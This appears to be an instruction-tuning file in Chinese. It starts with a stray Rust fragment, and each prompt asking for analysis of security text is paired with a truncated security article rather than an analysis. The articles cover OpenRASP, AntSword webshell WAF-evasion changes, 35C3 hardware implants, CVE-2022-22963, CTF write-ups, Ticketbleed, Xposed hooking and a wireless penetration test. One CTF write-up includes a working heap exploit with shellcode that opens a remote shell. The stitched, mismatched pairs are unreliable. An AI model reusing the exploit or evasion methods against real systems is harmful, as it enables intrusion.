    /// all files to `output_list`
    fn listdirs(dir: &Path, output_list: &mut Vec<(PathBuf, bool, bool)>) {
        // List the directory
        let list = std::fs::read_dir(dir);
        if let Ok(list) = list {
            // Go through each entry in the directory, if we were able to list the
            // directory safely
            for entry in list {
                if let Ok(entry) = entry {
                    // Get the path representing the directory entry
                    let path = entry.path();
                    // Get the metadata and discard errors
                    if let Ok(metadata) = path.symlink_metadata() {
                        // Skip this file if it's a symlink
                        if metadata.file_type().is_symlink() {
                            continue;
                        }
                        // Recurse if this is a directory
                        if metadata.file_type().is_dir() {
                            listdirs(&path, output_list);
                        }
                        // Add thi...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# OpenRASP学习笔记

##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1.引言
最近看了看OpenRASP（JAVA版），而网上关于OpenRASP已有一些文章，但纸上得来终觉浅，自己阅读一番再另外写篇文章，也还行，算是总结算是笔记。如文中有错误，还望同学们指出，十分感谢。
## 2.阅读前准备工作
一开始还需要将open-rasp安装到Tomcat，这里按照官方文档指引即可。
###  2.1编译
**编译V8引擎**
笔者在这里花了半天时间，一度十分懵逼，不懂C++编译这块的东西，按照官方文档来弄又不得行。
笔者的编译环境
    Debian 4.9.18 (kali)
    OpenJDK 1.8
    gcc version 8.3.0
编译获取v8引擎jar包：
    curl -L  https://github.com/Kitware/CMake/releases/download/v3.15.3/cmake-3.15.3-Linux-x86_64.tar.gz | tar zx -C /tmp
    export PATH=/tmp/cmake-3.15.3-Linux-x86_64/bin:$PATH
    git clone https://github.com/baidu-security/openrasp-v8.git
    ~/openrasp-v8# mkdir -p openrasp-v8/build64 && cd openrasp-v8/build64
    ~/openrasp-v8/openrasp-v8# cmake -DCMAKE_BUILD_TYPE=RelWithDebInfo -DENABLE_LANGUAGES=java ..
    ~/openrasp-v8/openrasp-v8# make
    ~/openrasp-v8/openrasp-v8# mkdir -p ../java/src/main/resources/natives/linux_64 && cp java/libopenrasp_v8_java.so $_
    ~/openrasp-v8/java# mvn install
**编译项目**
本文使用的是`1.3.4`版本。
Injellij IDEA打开 \openrasp-master\agent\java
Help > Find Action ，输入并打开 `Maven Project`
由于V8是在虚拟机上编译的，不在本地物理机的maven仓库中，需要先将其加入仓库
    mvn install:install-file -Dfile=D:\share\v8-1.0-SNAPSHOT.jar -DgroupId=com.baidu.openrasp -DartifactId=v8 -Dpackaging=jar -Dversion=1.0-SNAPSHOT
编译`rasp-boot`
由于`rasp-engine`依赖`rasp-boot`，所以需要将`rasp-boot`加入到maven仓库中
    mvn install:install-file -Dfile=D:\turn1tup\program_java\RASP\openrasp\agent\java\boot\target\rasp-boot-1.3.4-shaded.jar -DgroupId=com.baidu.openrasp -DartifactId=rasp-boot -Dpackaging=jar -Dversion=1.3.4
同样操作编译`rasp-engine`即可。
**Debug**
Windows下，在Tomcat的catalina.bat的open-rasp配置后添加一行JDWP配置：
    if "%ACTION%" == "start" set JAVA_OPTS="-javaagent:%CATALINA_HOME%\rasp\rasp.jar" %JAVA_OPTS%
    if "%ACTION%" == "start" set JAVA_OPTS=-agentlib:jdwp=transport=dt_socket,address=1043,server=y,suspend=y %JAVA_OPTS%
IDEA中将编译后的JAR包加入到项目Libraries，随后配置远程调试
断点打到程序最开始执行的地方，从最开始的地方看起。
openrasp\agent\java\boot\src\main\java\com\baidu\openrasp\Agent.java
...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

## 前言
本人有意写一份系列文章，主要内容是分享蚁剑改造过程中的一些技巧与经验。
因为蚁剑的相关文档实在比较少，可能很多同学都像自己当初一样想要二次开发可是不知如何下手。
不敢贸然称之为教程，只是把改造的过程发出来供大家借鉴，希望其他同学能够少走弯路。
  * [蚁剑改造计划之实现动态秘钥编码器解码器](https://xz.aliyun.com/t/6571)
  * [蚁剑改造计划之基于随机Cookie的动态秘钥编码器](https://xz.aliyun.com/t/6917)
  * [蚁剑改造计划之增加垃圾数据](https://xz.aliyun.com/t/7126)
## 正文
### 历史遗留问题
我在前面几篇文章提到过，蚁剑一直有一个硬伤就是它对于其他参数的处理仅仅是一层base64。这就导致了不管怎么对主payload加密，WAF只要分析到其他的参数就能知道你在做什么。
例如你在执行cmd的时候，就一定会发送一个经过base64编码的cmd字符串，这就留下了一个被WAF识别的特征。
即使是蚁剑编码器仓库中的aes编码器也只是对主payload加了密，防护方在不需要解密主payload的情况下只要看到其他参数传的什么内容就能推测攻击者的行为。
yan表哥曾经在公众号中的[WAF拦了蚁剑发送的其它参数时怎么操作](https://mp.weixin.qq.com/s/ai3dW8H_ZnlFMPo-pgoqZw)文章中给出了一种解决方案。主要思想就是在不修改主payload的情况下，配合客户端额外再把它加密解密一遍。
可以是可以，但是很麻烦，对于普通的shell不具有适用性。
这篇文章的目的就是解决掉这个历史遗留问题。
### 随机化方式的选择
想要从根本上解决问题就要修改核心payload，那么怎么改呢？
以前师傅们的文章提出过两个方法，一种是把其他参数base64两次，还有一种是在其他参数前面加两个随机字符，然后主payload中再把它给substr截掉，来打乱base64的解码。
如果方法是写死的话，无非只是WAF增加两条规则而已。蚁剑这么有名的项目，一定是防火墙商眼中紧盯的目标。最好的解决办法就是加入一个用户可控的参数，能够让用户自定义修改。这样才有可能最大程度的逃过WAF的流量查杀。
所以本文采用的方法就是在每个第三方参数前，加入用户自定义长度的随机字符串，来打乱base64的解码。
这时，如果WAF不能获得主payload中用户预定义的偏移量，也就无法对其他参数进行解密。此时我们的强加密型编码器才能真正起到作用。
### 具体实现
思路
    获取用户预定义前缀偏移量->修改核心payload模版->给其他参数前增加随机字符串
前端的话首先写一个text框，来获取用户的输入
在`\source\core\base.js`中定义randomPrefix变量
在`\source\modules\settings\adefault.js`中设置默认值
然后后端就可以通过`opts.otherConf["random-Prefix"]`来获取用户定义的随机前缀的长度值。
修改模版前要简单了解一下蚁剑对于参数的处理流程
在各类型shell的模版文件中，会定义默认的payload以及他们所需要的参数，还有对于参数的编码方式。
`source\core\php\template\filemanager.js`
在获取到模版之后，parseTemplate会对其中的参数进行提取、解析、组合，形成要发送的payload
`source\core\base.js`
所以我们要把用户预定义的前缀偏移量传入到两个地方：
（1）核心payload模版
（2）其他参数的组合模块
在核心payload中，我们将要修改的偏移量用`#randomPrefix#`进行标记，到parseTemplate函数组合最终数据包的时候将其替换。
然后定义一个新类型的编码处理器`newbase64`，在模板中修改对于参数的处理函数。
    /**
           * 增加随机前缀的base64编码
           * @param  {String} str 字符串
           * @return {String}     编码后的字符串
           */
          newbase64(str) {
            let randomString=(length)=>{
              let chars='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
        ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 德国35C3混沌通信大会——IoT相关议题解读
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
又到了辞旧迎新的季节，然而每个国家庆祝隆重的开端与结尾的方式总是有所不同。就在刚过去的圣诞节与元旦前夕，这座黑客的安全岛——德国的时尚之都莱比锡，正聚集着无数来自世界各地的技术与艺术的狂热爱好者，用自己的方式庆祝着这一神圣时刻。
## 1\. 关于德国C3混沌通信大会
这就是从84年开始盛行的CCC（Chaos Communication Congress）大会，也称作混沌通信大会。因为正值第35届，所以也称为35c3。
这是一场很德国的会议，现场不光技术爱好者，艺术、伦理以及科学的设想都会在大会中呈现，如同一顿德国盛宴，在脆皮肘子与香肠拼盘后一定少不了地道的德国黑啤。这场大会拥护安全，对一切技术创造与社会运作持怀疑态度，互相争论，辩驳，迸发出无数的创新火花。
那么今年的混沌大会又有什么精彩亮点呢，下面由我们360独角兽团队的几位小伙伴带领大家解读几个IoT相关的精彩议题。
## 2.议题解读
### 2.1 供应链中的硬件植入(Modchips of the State)
解读人：@yyf
概要
在该议题中，作者Trammell
Hudson介绍了前段时间非常有热度的“彭博社报道中国间谍芯片”事件，并对利用SPI总线进行硬件植入的可行性进行了自己的测试。
议题内容
议题伊始，作者详细讨论了彭博社报告的间谍芯片事件。18年10月4日，彭博社旗下的《彭博商业周刊》发布一篇深度报道称，包括苹果、亚马逊等近30家美国科技企业所使用的服务器，可能被植入了微型恶意芯片，中方可以秘密访问这些企业的内网。
Trammell Hudson 对各方的回应做出了自己解读。据演讲者介绍， NSA
就有一个关于硬件植入物的列表，比如JTAG植入物、以太网口植入物等，可以将数据通过射频的方式对外传出。
针对Supermicro回应声称的“媒体报道的植入方式在技术上是难以置信的，相关评论人员完全缺乏设计知识”，其表示了反对意见。表示不仅 NSA
可以做到，他自己也能做到。
主板上的BMC SPI Flash 通过serial output与BMC
CPU连接，这其中经过了一个小的串联电阻，作者就在这个地方插入了他的植入物来完成攻击。
虽然由于针脚的原因带来了一些限制，但依然能做到一些事情，比如可以通过观察数据流来重建时钟，以及将比特位“1”转变为“0”等。
在BMC Flash的结构中，NVRAM区域是一个JFS2文件系统，大部分区域都是空的，填满了代表空的“FF”。
通过该区域特殊的头部信息，我们便能确定目前所在的位置。
结合以上提到的几点，我们可以定位在特定的空白区域来插入数据，而这块区域实际上属于网络配置脚本，将在网络配置时触发。
介绍了大致原理后，作者通过qemu搭建模拟环境做了现场演示。如下图所示，左侧是Flash控制台，右侧是BMC的串口控制台。
当最终执行到配置网络时，将读取位于NVRAM区域的脚本。由于此时该区域的数据已经被替换了，于是执行了自定义的命令。
也可以直接在BMC上获得一个root权限的shell。
对于该类的间谍植入问题，作者认为最终的解决方案是：No More Secrets，采用开源的硬件、开源的固件（如LinuxBoot）。
点评
彭博社爆出的新闻已经被业内外各方人士判断为一次博眼球性质的炒作事件。虽然演讲者通过使用体积较大的FPGA实现了类似彭博社报道中类似的效果。但实际上，在目前几乎不可能制作出一个足够小，而且能塞进信号耦合器的FPGA，或者其他有相同计算能力的芯片。
虽然议题的假设成分高了些，不过这并不妨碍其是一个讨论供应链硬件植入的良好案例，感兴趣的朋友可以到此链接查看完整的演讲视频：
https://media.ccc.de/v/35c3-9597-modchips_of_the_state
### 2.2 智能灯泡破解（Smart Home Smart Hack）
解读人：@lighting
议题内容
作者首先指出了现在智能家居所面临的一个普遍的安全问题：很多硬件，云以及软件开发都是被个别IoT芯片厂商垄断以及高度封装好的，可能不同牌子的智能硬件只不过是贴牌外壳不同，这就导致一个潜在的安全漏洞可能威胁数以万计的甚至是不同品牌的智能硬件。
作者针对智能家居中一个很简单的家具智能灯泡切入，具体阐明了上述问题。尽管智能灯泡功能简单，但是即使简单到只有开关的智能硬件仍然存在巨大的安全风险。作者深扒了智能灯泡的工作原理，电路结构，鉴权认证以及固件升级的流程，而后实现了几个方面攻击。
智能灯泡的硬件电路上预留了一些测试接口可以供固件的读取和写入，作者开发了相应的脚本可以读取智能灯泡...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

**作者：xxhzz@星阑科技PortalLab
原文链接：<https://mp.weixin.qq.com/s/3DECgzKcovoCQcdZLGXCzA>**
## **前言**
在研究分析了CVE-2022-22980 Spring Data MongoDB
SpEL表达式注入漏洞之后，想起之前在spring4shell爆出之前，存在于SpringCloud
Function中的一个SpEL表达式注入漏洞，编号为CVE-2022-22963。在这里对其进行一波分析和学习。
## **漏洞描述**
Spring Cloud Function 是基于 Spring Boot
的函数计算框架。该项目致力于促进函数为主的开发单元，它抽象出所有传输细节和基础架构，并提供一个通用的模型，用于在各种平台上部署基于函数的软件。在Spring
Cloud Function 相关版本，存在SpEL表达式注入。恶意攻击者无需认证可通过构造特定的 HTTP 请求头注入 SpEL
表达式，最终执行任意命令，获取服务器权限。
## **利用范围**
3.0.0 <= Spring Cloud Function <= 3.2.2
## **漏洞分析**
#### **环境搭建**
使用idea新建Spring Cloud Function项目。
pom.xml中引入spring-boot-starter-web、spring-cloud-function-web
在application.properties中添加spring.cloud.function.definition=functionRouter
这里设置端口为8090，默认为8080
运行之后，环境搭建完成。
#### **前置知识**
**SpringCloud Function 相关介绍**
简单的介绍，Spring Cloud 是一系列框架的集合，
内部包含了许多框架，这些框架互相协作，共同来构建分布式系统。利用这些组件，可以非常方便地构建一个分布式系统。SpringCloudFunction就是一个SpringBoot开发的Servless中间件（FAAS）。
在环境搭建时，我们在application.properties中添加spring.cloud.function.definition=functionRouter
这里的属性spring.cloud.function.definition 表示声明式函数组合，简单理解就是一个默认路由。具体可参考如下说明。
**functionRouter**
我们设置spring.cloud.function.definition=functionRouter就是使默认路由绑定具体函数交由用户进行控制。
在spring-cloud-function-web中可以通过设置Message
Headers来传达路由指令，也可以路通过spring.cloud.function.definition
或spring.cloud.function.routing-expression作为应用程序属性进行通信，允许使用 Spring 表达式语言
(SpEL)。
这就是产生SpEL注入的关键所在。
#### **动态分析**
在理解了前置知识中相关原理，其实也就能大概知晓漏洞原理。
查看DIFF（<https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f>） 记录。
看到从请求头中获取的 spring.cloud.function.routing-expression
之前是由StandardEvaluationContext 解析，修复新增了 isViaHeader 变量做了一个判断，如果是从请求头中获取的
spring.cloud.function.routing-expression 值，使用 SimpleEvaluationContext 解析。
在spring.cloud.function.context.catalog.simpleFunctionRegistry#doApply中。
在执行function apply方法之后，会跳转到doApply中，对funtion进行判断，判断是不是functionRouter方法。
后续跟进，进入spring.cloud.function.context.config.Routingfunction#route
进入else if 分支， http头spring.cloud.function.routing-expression
不为空，则传入其值...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 【CTF攻略】FlappyPig HCTF2016 Writeup
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**作者：**[ **FlappyPig**
****](http://bobao.360.cn/member/contribute?uid=1184812799)
**预估稿费：600RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆 **[
**网页版**](http://bobao.360.cn/contribute/index)** 在线投稿**
**Flip**
**一．本题是一个linux下的qt程序。**
主要分成三个部分
1.一个多阶Flip game
2.一个三阶错乱的Flip game
3.一个内存中执行的三阶Flip game,执行操作由第二个游戏的步子有关。
**二．第一关游戏很简单，从主对角线开始一直走对角线即可。**
或者爆破406035这个位置
**三．第二关是一个错位的Flip game**
所谓的错乱就是错乱了逻辑，例如一个正常的3*3 Flip逻辑为
1 2 3 1 3 2
4 5 6 错乱之后为 7 9 8
7 8 9 4 6 5
第二关最多只能有7步，超过7步就算失败
所以需要遍历出第二关所有的走法
所有可能如下
    [1, 3, 2, 9, 4, 5, 3]
    [1, 3, 2, 9, 5, 3, 4]
    [1, 3, 2, 9, 5, 4, 3]
    [1, 7, 4, 9, 2, 5, 7]
    [1, 7, 4, 9, 5, 2, 7]
    [1, 7, 4, 9, 5, 7, 2]
    [2, 1, 7, 4, 9, 5, 7]
    [2, 7, 9, 4, 5, 7, 1]
    [2, 7, 9, 5, 4, 7, 1]
    [2, 9, 7, 4, 5, 7, 1]
    [2, 9, 7, 5, 4, 7, 1]
    [3, 4, 9, 2, 5, 3, 1]
    [3, 4, 9, 5, 2, 3, 1]
    [3, 9, 2, 5, 3, 1, 4]
    [3, 9, 5, 2, 3, 1, 4]
    [4, 1, 3, 2, 9, 5, 3]
    [4, 3, 9, 2, 5, 3, 1]
    [4, 3, 9, 5, 2, 3, 1]
    [4, 9, 3, 2, 5, 3, 1]
    [4, 9, 3, 5, 2, 3, 1]
    [7, 2, 9, 4, 5, 7, 1]
    [7, 2, 9, 5, 4, 7, 1]
    [7, 9, 4, 5, 7, 1, 2]
    [7, 9, 5, 4, 7, 1, 2]
    [9, 3, 2, 5, 3, 1, 4]
    [9, 3, 5, 2, 3, 1, 4]
    [9, 7, 4, 5, 7, 1, 2]
    [9, 7, 5, 4, 7, 1, 2]
**四 **．** 过了第二关之后出现一个flag提交窗口，submit的按钮事件位于sub_407170**
判断输入的长度是不是为32之后调用函数sub_406a80
在sub_406a80中会根据第二关的步骤，去解码第三关的执行步骤。
第二关的走法会影响后续的走法解码（因为之前是直接爆破的所及在在这里卡了很久）。
第二关走的位置和对应的内存数据对应关系如下:
    1=>0，2=>2，3=>1，4=>6，5=>8，7=>3，9=>4
得到被分解之后的key，所谓分解就是
将输入的ascii分解，成两个字节的的表示，低位放低位高位放高位。
例如
    输入 1234
    Ascii  31 32 33 34
    分解  01 03 02 03 03 03 04 03
之后会判断key的后六位
最后六位为74343}
然后定位到分解后的key第一位和分解后key的倒数第七位，获取以后传入sub_406780,也就是game3_flip,最后从头部和尾部往中间逼近。
本题最主要的逻辑在函数sub_406780处
分析后函数如下
主要逻辑已经注释，就是传入a2,a3两个参数用来控制flip
game的起始状态，a4是解码后的game3_steps,在game3_steps中遇到0即进行判断是否灯全灭。
由于可以知道forword_char的第一位是8（h分解为08和06），那么可以推测第一步flip的初始状态为
FF FF 00 00 FF 00
00 00 00 或者 00 00 00
00 00 00 00 00 00
...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

本质：产生的原因本质上是参数可知或可预测
防御：
1、加密参数：加密加盐，不可知，不可预测
忧虑，引入其他麻烦：一、数据分析困难
二、正常功能会受影响，比如url收藏
2、验证码：用户在确认操作
破解：只防止了用户不知情点击的情况，用户知情时也可以诱导点击
3、referer check：验证上一url，源检测
破解：一、诱导合理顺序产生合理源referer
二、有些应用可以自定义referer
忧虑：referer check不一定可用，有些应用禁止了（处于隐私考虑或其他）
辅助手段
4、token：增加一个随机参数 （问题：只是参数值随机、不可预测，还是参数名也有必要随机？
名也随机不好传参？），只有服务端与客户端知道的秘密（如可在cookie中也放置，对比与提交的参数（表单）中是否一致，具体应用场景具体设计）
缺陷：只防护单纯的csrf，当存在xss时，token也被获取
具体应用场景、业务可使用、适用的不同，有些简单设置，有些严格设置；设想如果可以token加密怎样？ 这几种都应用怎样？
但具体业务场景中不太现实，毕竟还需要为业务做数据分析、考虑用户体验等等；
so，具体应用、场景，具体分析、设计；
有不对的地方欢迎大家指正，谢谢


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 【漏洞预警】Ticketbleed：F5 BIG-IP设备TLS/SSL堆栈漏洞（CVE-2016-9244）
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<https://filippo.io/Ticketbleed/>
译文仅供参考，具体内容表达以及含义原文为准。
Ticketbleed是F5 BIG-IP设备的TLS / SSL堆栈中的软件漏洞，允许远程攻击者一次提取高达31字节的未初始化内存。
这部分内存中可能包含来自其他连接的密钥或敏感数据。
它在情形和影响类似于Heartbleed漏洞。它的不同之处在于，它一次暴露31个字节，而不是64k，需要多次轮询执行攻击，并且它影响专有的F5
TLS堆栈，而不是OpenSSL。
**测试**
你可以在下面的网址中进行测试服务器是否受Ticketbleed影响（eg: example.com:443）
<https://filippo.io/Ticketbleed/>
当然，你也可以自己用脚本测试
<https://gist.github.com/FiloSottile/fc7822b1f5b475a25e58d77d1b394860>
**技术细节**
漏洞的关键点在于执行Session Tickets，Session Tickets是加速重复连接的一项恢复技术。
当客户端提供SessionID和Session Tickets时，服务器应回显SessionID以表示Session Tickets的接受。Session
ID的长度可以在1到31个字节之间。
即使Session ID再短，F5堆栈总是回显32字节的内存。提供1字节Sessio ID的攻击者将接收到31字节的未初始化内存信息。
**修复和缓解**
受影响的版本的完整列表可在[F5网站](https://support.f5.com/csp/article/K05121675)上找到。在本次公开披露时，并非所有版本都可以升级解决。
但是Session Tickets是可以完全缓解，这将仅导致恢复连接的性能降级。
以下方法配置是由F5提供的
1\. 登录到配置实用程序
2\. 在菜单上导航到本地流量>配置文件> SSL>客户端
3\. 将配置的选项从基本切换到高级
4\. 取消选中Session Ticket选项以禁用该功能
5\. 单击更新以保存更改
**互联网扫描结果**
通过修改版的zgrab进行互联网扫描
Vulnerable表示存在漏洞。
Accepted表示主机正常接受Session Tickets。
Rejected表示主机提供一个Session Ticket，但是当客户端尝试去使用它时将会被拒绝。
其他的主机不支持Session Tickets。
**发现和时间表**
这个问题是[Filippo Valsorda ](https://twitter.com/FiloSottile)和其他的
CloudFlare员工在调试客户问题的时候发现的。
10月20日 – 确定问题
10月20日 – 首次尝试联系F5
10月25日 – 与F5安全工程师联系
10月26日 – 提交报告
10月28日 – 报告由F5确认
11月13日 – 由F5确认的问题，安全影响尚未确认
11月14日 – Alexa top 1000扫描揭示两个易受攻击的主机，90天截止日期发布
11月16日 – 提供给F5的版本和配置详细信息
11月16日 – 由F5重现和确认的安全问题
1月17日 – F5分享CVE和K
1月26日 – 由于问题公开推到2月8日
2月7日 – 使用185.47.61.3进行互联网扫描
2月8日 – 披露政策的最后一天
2月8日 – 发布延迟
2月9日01:25 UTC – 协调公开披露


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 湖湘杯2019复赛Writeup

##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## pwn
###  HackNote
edit那边的strlen存在问题，如果一直输入接到下一个chunk的size地方，那就会出现new_len>old_len情况，可以下一次edit到size段，从而造成堆重叠，最后修改malloc_hook来getshell。但是长度不够，所以自写了个read后ret过去执行。
    from pwn import *
    #r=process('./HackNote')
    r=remote('183.129.189.62',11104)
    context(arch = 'amd64', os = 'linux')
    def gd():
        gdb.attach(r)
        pause()
    def add(size,content):
        r.sendlineafter('-----------------','1')
        r.sendlineafter('nput the Size:',str(size))
        r.sendafter('he Note:',content)
    def free(idx):
        r.sendlineafter('-----------------','2')
        r.sendlineafter('the Index of Note:',str(idx))
    def edit(idx,content):
        r.sendlineafter('-----------------','3')
        r.sendlineafter('Note',str(idx))
        r.sendafter('Input the Note:',content)
    fake=0x06CBC40
    free_hook=0x6CD5E8
    malloc_hook=0x6CB788
    sc=asm(shellcraft.sh())
    sc='''
    xor rdi,rdi
    push 0x6cbc40
    pop rsi
    push 0x100
    pop rbx
    push 0
    pop rax
    syscall
    push 0x6cbc40
    ret
    '''
    sc=asm(sc)
    print shellcraft.sh()
    print hex(len(sc))
    add(0xf8,p64(0)+p64(0xf1)+p64(fake-0x18)+p64(fake-0x10)+p64(0)*26+p64(0xf0))#0
    add(0xf8,'aaaan')#1
    add(0x38,'bbbbn')#2
    add(0x50,'ccccn')#3
    edit(0,'a'*0xf8)
    edit(0,p64(0xffffffffffffffff)+p64(0xf1)+p64(fake)+p64(fake+8)+p64(0)*26+p64(0xf0)+'x41'+'x01')
    free(1)
    add(0xf8,'aaaan')#1
    add(0x38,p64(malloc_hook-0xe-8)+'n')#4
    free(2)
    edit(4,p64(malloc_hook-0xe-8)+'n')
    add(0x38,p64(malloc_hook-0xe-8)+'n')#2
    add(0x38,'a'*6+p64(malloc_hook+8)+sc+'n')
    r.sendline('1')
    r.recvuntil('Input the Size:n')
    r.sendline('123')
    r.sendline(asm(shellcraft.sh()))
    r.interactive()
###  NameSystem
free那边的挨个向前有问题，18=19但19!=0
洞存在free时候，如果free18，这时候18=19，或者说，只要19存在，每次free，19不置零但是18=19.所以从而double
free，没有leak函数，所以考虑把free_got改掉成printf_plt来整，最后leak完后改system来getshell
    from pwn i...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

### 为什么有这文章？
前段时间用到点系统底层框架去HOOK安卓在JAVA层的流程函数，期间目标函数参数有简单类型也有复杂的数组参数，着实为HOOK时的传参头疼过一把，加上有个朋友之前也在某群问过相关的问题就组合当时网友给的提示自己来实现一次这个过程，顺便介绍下该框架插件的基本开发姿势，同时希望也可以为广大HOOK友们提供一点解决问题的根本办法。
### 需要些什么工具？具备些什么基本安卓开发知识？
上面说过用成熟的框架，现在在安卓上好用的扩展性框架不过两种：Xposed跟Cydia，由于本人只用过XPOSED框架所以在这篇文章中就用Xposed来给大家介绍使用，开发知识方面只要有基本的安卓经验皆可胜任，并没有什么技术含量。
### 怎么做？
一、HOOK 三要素：类对象、函数名、参数列表的获取。
二、构建XPOSED框架插件、编码完成测试。
这其中难点有两个，一个就是Xposed插件没开发过，网上的一些教程文章没有写得太详细，一些个小细节没有被重点提及导致一个小问题都要查找无数的资料，甚至还找不到问题所在，另一个就是网上示例都太过简单化，一般都用int\sting这种基本类型作为Demo，然而实际使用中难免会碰到一些稀奇古怪的函数参数，而没有经验的我们只能乱写一通，到最后只能不了了之，现在我想通过由浅入深的方式来记录下插件的开发过程，希望能为遇到这种情况的朋友们提供点小帮助吧。
### 动手：
一、HOOK JAVA层函数的三要素获取：
这其中目标类对象、函数名相信大家要拿到没有难度，问题的重点就在于函数的参数列表，在介绍插件开发步骤前，先来看看我们首要目标类及函数参数情况，截图如下：
目标类路径为： **aqcxbom.xposedhooktarget;**
函数名为： **helloWorld**
参数表： **int,string**
[
在 **xposedhooktarget** 的 **onCreate方法** 中调用输出
[
当前未hook前输出log前后如下：
[
我们要实现的目标是分别在前后调用输出入咱自己的日志信息，如下面两箭头所指：
[
### 二、插件开发步骤
好，明确了我们初步的目标后，现在咱来看看XPOSED框架插件开发步骤：
  1. 以 **provided 模式** 导入 lib 文件 XposedBridgeApi-54.jar（不参与编译到最终文件中）且用AS开发的你 **千万不要将其放在libs目录** 中，否则你会发现你的插件安装上却一直没有运行起来的尴尬情况（ **大坑一** ）。
  2. 在AndroidManifest.xml中添加框架信息。
    <application>
      <meta-data android:name="xposedmodule" android:value="true"/>
      <meta-data android:name="xposeddescription" android:value="这里填写模块说明信息"/>
      <meta-data android:name="xposedminversion" android:value="30"/>
      </application>
xposedminversion这一项非常重要，必须与JAR内版本一致，否则模块不能运行。(大坑二)
你可以用RAR等压缩工具打开XposedBridgeApi-XX.jar包，在assets\version文件中包含了该包的版本号，这个版本号正常情况下会与jar包名内的版本保持一致。
  1. 编写响应类并实现类`IXposedHookLoadPackage`接口`handleLoadPackage`函数方法：
在`handleLoadPackage`函数的`findAndHookMethod`方法我们要提供HOOK目标的信息，参数为(类全路径,当前的`CLASSLOADER`，`HOOK`的函数名，参数1类类型...参数N类类型,`XC_MethodHook`的回调)，具体代码如下：
    package aqcxbom.myxposed;
    import android.util.Log;
    import de.robv.android.xposed.IXposedHookLoadPackage;
    import de.robv.android.xposed.XC_MethodHook;
    import de.robv.android.xposed.XposedHelpers;
    import de.robv.android.xposed...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 【技术分享】通向内网的另一条路：记一次无线渗透测试实战
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**作者：PegasusTeam && 天巡实验室**
某个深夜，洗漱完毕正要入睡时，邮件提醒“滴”的一声。深夜邮件到，一般意味着事情比较紧急。打开邮件，明天需要去客户那边做一次黑盒的无线渗透测试。
**1.信息收集**
早上10点抵达邮件中给的地址。跟客户碰了下面，听取了他们的需求及要看到的结果。找了一个休息室，打开我那新买的闪闪发黑的Thinkpad x1 准备干活了。
观察了下附近的热点，有两个特殊的：一个是带企业英文前缀的802.1X认证热点，另一个是同样前缀的开放式Guest网络。根据经验来看，802.1X认证为企业内部人员使用的，而Guest网络提供给访客使用。先暂时不对这两热点下手，寻找下是否存在能通关捷径——员工私自建立的热点。
这类员工为了方便手机上网私接在内网热点，为了便于共享给周围其他同事用，往往都没有采用过于复杂的密码，同时还存在被同事分享密码的风险。
**2.私建热点渗透**
开着修改版的WiFite扫描整栋楼，收集所有的无线热点信息，并且回传到云端；与此同时手机打开WiFi万能钥匙APP，检测是否存在有被分享密码的热点。
在低楼层一直没发现有钥匙标识，有些办公室不好太大直接抱着电脑进去。功夫不负爬楼人，终于在顶楼5楼的某个办公室门口发现了可使用共享秘钥连入的热点。连上后，直接直奔路由器后台，默认admin密码直接登录。
很遗憾，是个4G路由器。虽然能对网络内的用户进行中间人攻击获取信息，不过不到万不得已一般不这么干，因为这种方式拿到的成果一般不会被客户所认可。
**3.802.1x渗透**
逛了半天回到休息室歇歇脚的同时，做下针对802.1X认证的钓鱼攻击吧。
利用hostapd建立同名802.1X钓鱼热点，同时用aireplay-ng发了些deauth包，这样周围连接过此热点的人都会尝试连接我的热点了。不一会便抓到了数条hash。安全意识好的企业一般会对员工密码有强度要求，密码规则复杂、较长的密码。如果是这样的密码，我们就很难用字典碰撞出密码了。但是这里运气很好，客户这边并没有实施较高的密码强度策略，使用JTR自带的字典就跑出来了。定睛一看，原来用户名与密码相同呀。
利用这组账号连接802.1X网络，成功进入了办公网络。
再仔细观察了下这组数字账号，带着怀疑试了试将数字加一进行登录测试，也成功了。好吧，默认密码跟用户名相同，同时用户名为数字编号可遍历。
**4.Guest网渗透**
通过802.1x热点已经能进入办公网了，算是已经完成任务了。不过现在时间还早，于是我继续对Guest网络进行渗透测试。连上Guest网络，自动弹出Portal认证页面。
Portal认证的网络一般会存在以下问题：
1\. ACL配置不严格，未授权访问内网资源。
2\. Portal存在致命漏洞，导致Portal认证服务器被黑。
3\. Portal登录验证存在漏洞，可以穷举账户密码。知识点:CMCC扫号
此次办公网、管理网被渗透，就是因为Portal本身存在存在致命的漏洞，导致可以通过Guest网段跨入核心网络。
刚接入网络时，发现所有的扫描被重定向至网关机器，说明有ACL，未授权访问内网资源这条路行不通。接着准备穷举账户，再根据已知的账户来穷举密码。很多Portal都存在如下问题：
用户不存在返回页面
用户存在，密码不正确返回页面
但是在这个Portal，无论输入正确或者不正确的用户名都返回”用户或密码错误”(用户名是员工名字全拼，员工工牌挂身上，相信正确的用户名难不倒大家)，也就意味着我们无法穷举用户。此时我的思路是根据用户名规则生成常见的用户名，密码使用弱口令如“123456、1q2w3e、1qaz2wsx”等密码进行穷举。
在观察数据包时，突然发现登陆页面的后缀是.action，立马想到会不会存在Struts2漏洞呢？毕竟不是大型的互联网公司，无专业的安全人员，在内网中系统存在古老的漏洞也不奇怪(比如2014年在某单位做渗透测试，用08067打下了一批机器)。
